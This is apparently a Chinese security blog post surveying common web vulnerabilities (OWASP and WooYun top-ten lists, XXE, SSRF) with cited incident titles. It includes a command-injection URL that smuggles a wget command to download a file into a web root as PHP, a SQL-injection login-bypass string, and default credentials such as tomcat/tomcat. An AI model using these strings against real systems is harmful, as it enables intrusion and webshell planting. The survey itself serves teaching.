渗透测试必知必会—Web漏洞

渗透测试必知必会—Web漏洞

0x00前言
  本文为对WEB漏洞研究系列的开篇,日后会针对这些漏洞一一研究,敬请期待
  0x01 目录
  0x00 前言
  0x01 目录
  0x02 OWASP TOP10 简单介绍
  0x03 乌云TOP 10 简单介绍
  0x04 非主流的WEB漏洞
  0x02 OWASP TOP10 简单介绍
  除了OWASP的TOP10,Web安全漏洞还有很多很多,在做测试和加固系统时也不能老盯着TOP10,实际上是TOP10中的那少数几个
  直接说2013的:
  A1: 注入,包括SQL注入、OS注入、LDAP注入。SQL注入最常见,wooyun.org || http://packetstormsecurity.com 搜SQL注入有非常多的案例,由于现在自动化工具非常多,通常都是找到注入点后直接交给以sqlmap为代表的工具
  命令注入相对来说出现得较少,形式可以是:
  https://1XX.202.234.22/debug/list_logfile.php?action=restartservice&bash=;wget -O /Isc/third-party/httpd/htdocs/index_bak.php http://xxphp.txt;
  也可以查看案例:极路由云插件安装shell命令注入漏洞 ,未对用户输入做任何校验,因此在web端ssh密码填写处输入一条命令`dropbear`便得到了执行
  直接搜索LDAP注入案例,简单尝试下并没有找到,关于LDAP注入的相关知识可以参考我整理的LDAP注入与防御解析。虽然没有搜到LDAP注入的案例,但是重要的LDAP信息 泄露还是挺多的,截至目前,乌云上搜关键词LDAP有81条记录。
  PHP对象注入:偶然看到有PHP对象注入这种漏洞,OWASP上对其的解释为:依赖于上下文的应用层漏洞,可以让攻击者实施多种恶意攻击,如代码注入、SQL注入、路径遍历及拒绝服务。实现对象注入的条件为:1) 应用程序必须有一个实现PHP魔术方法(如 __wakeup或 __destruct)的类用于执行恶意攻击,或开始一个"POP chain";2) 攻击中用到的类在有漏洞的unserialize()被调用时必须已被声明,或者自动加载的对象必须被这些类支持。PHP对象注入的案例及文章可以参考WordPress < 3.6.1 PHP 对象注入漏洞。
  在查找资料时,看到了PHP 依赖注入,原本以为是和安全相关的,结果发现:依赖注入是对于要求更易维护,更易测试,更加模块化的代码的解决方案。果然不同的视角,对同一个词的理解相差挺多的。
  A2: 失效的身份认证及会话管理,乍看身份认证觉得是和输入密码有关的,实际上还有会话id泄露等情况,注意力集中在口令安全上:
  案例1:空口令
  乌云:国内cisco系列交换机空密码登入大集合
  乌云:UC某服务器可空口令访问数据库
  案例2:弱口令
  乌云:盛大某站后台存在简单弱口令可登录  admin/admin
  乌云:电信某省客服系统弱口令泄漏各种信息 .../123456
  乌云:中国建筑股份有限公司OA系统tomcat弱口令导致沦陷  tomcat/tomcat
  案例3:万能密码
  乌云:移动号码上户系统存在过滤不严  admin‘OR‘a‘=‘a/admin‘OR‘a‘=‘a (实际上仍属于SQL注入)
  弱口令案例实在不一而足
  在乌云一些弱口令如下:其中出镜次数最高的是:admin/admin, admin/123456

  A3: 跨站脚本(XSS),最普遍的漏洞,曾被认为是鸡肋漏洞,事实证明有时候危害很大的,窃取cookie,构造蠕虫不一而足。XSS的技术体现在Javascript功底上,现在很多网站都有针对XSS的过滤器,J2EE可以使用全局过滤器,但是过滤器基本都是使用黑名单设防,是有可能绕过的,回应了技术体现在Javascript功底上。跨站脚本还有flash类型的,由于相比之下出现得比较少,浏览器和过滤器的防御精力不在这上面,如果出现可能更容易成功。值得一提的是,对于XSS,现在的扫描工具都会将其标识为高危漏洞,实际上扫描器根据返回的响应中是否有加入的载荷来判断跨站脚本漏洞存在的可能性,误报率会比较高。还有就是常规扫描器只能识别反射型XSS,反射型XSS本身危害是比较小的,存储型XSS危害才大(危害大小看具体情况)。反射型XSS现在常规payload要想过IE10、IE11或chrome还是有难度的,因此XSS技术的另一个体现方面即是对浏览器特性的了解。至于存储型XSS,则要看具体业务和数据是否会受影响,用户交互程度越高,利用难度就越大,如果能弹框证实漏洞存在,但很难被触发或者就算窃取到cookie也无法登陆,很难说明是高风险安全问题,但还是有修复和改进的必要。
  CSRF曾被称为沉睡的巨人,以前拿来举例时都是说Alice给Bob转钱,结果morry插了一脚,钱就跑到morry家去了。危害可大可小,直接通过URL增删改操作的也还有,更多的还是基于表单。如果是XSS+CSRF =>蠕虫 就比较可观了,也曾看到过直接get root的案例
案例:万达电影主站 xss + csrf
  A10: 无效的重定向
  控制重定向可以钓鱼,可以获取敏感文件的信息,在struts2中也有开放重定向的命令执行
  0x03 乌云TOP 10 简单介绍
  上述就是OWASP TOP10的WEB漏洞,乌云出了一个更加符合中国国情的 乌云:Top10 for 2014,看着也是触目惊心
  A1-互联网泄密事件/撞库攻击
  本质上来说是使用了不安全的口令,也许我可以将自己的密码设置的很复杂,别人破解不出来。但对于撞库攻击而言,可以说是不怕神一样的对手,就怕猪一样的队友。我们注册使用的网站或服务商他们保存了我们使用的密码,而很多时候被泄露出去了我们并不知道。这也是考验我们密码习惯的时候了,强密码+不同的密码,当然密码多了也难以记住,不行就借助软件或者普通账号用同一个密码,重要账号用不同密码吧
  A2-引用不安全的第三方应用
  举的例子是heart bleed漏洞使用的openssl,另外struts2的漏洞也还数见不鲜,其次就是CMS如wordpress使用的插件,当然shellshock也会有很多中枪的
  A3-系统错误/逻辑缺陷带来的暴力猜解
  暴力破解:没对请求和错误次数做限制;重放攻击同样是没做检验或限制
  A4-敏感信息/配置信息泄露
  包括但不限于目录遍历、日志、配置文件、svn目录、github或其他博客等地方
  A5-应用错误配置/默认配置
  包括但不限于默认路径、默认口令、目录穿越、任意文件下载等
  A6-SQL注入漏洞
  A7-XSS跨站脚本攻击/CSRF
  A8-未授权访问/权限绕过
  可匿名访问\判断referer值后免登陆
  A9-账户体系控制不严/越权操作
  A10-内部重要资料/文档外泄
  还是信息泄露,但是做了区分,不同于应用或服务器的信息泄露,专指内部信息泄露哟
  0x04 非主流的WEB漏洞
  实际上,如果要挖漏洞或者做测试,从乌云上找案例会比较方便,除了常见的几类代码层面的问题,更多的是配置不当方面的,最终归结到信息安全链上最脆弱的还是人本身
  除了上面提到的这些,其实还有很多的漏洞啊,跟设备有关系的就先不说了,再提一下两个看起来不错的:XXE、SSRF(or XSPA)
  XXE:XML外部实体注入,不仅仅是敏感信息泄露,腾讯安全中心:XXE漏洞攻防
  案例:
  1. 乌云:百度某功能XML实体注入
  2. 乌云:139邮箱XXE漏洞可读取文件
  3. 乌云:从开源中国的某XXE漏洞到主站shell
  SSRF(服务端请求伪造): 据说用这招可以成功多次进入阿里、腾讯、百度等的内网,没爆出来的估计很多被用作杀器了
  案例:
  1. 乌云:百度贴吧SSRF
  2. 乌云:新浪SSRF
  3. 乌云:阿里巴巴SSRF
  上面几个案例有的是分享功能,有的是其他功能,共同点在于都是跟的url参数,且没做限制,导致内网信息泄露
  (未完...)

郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。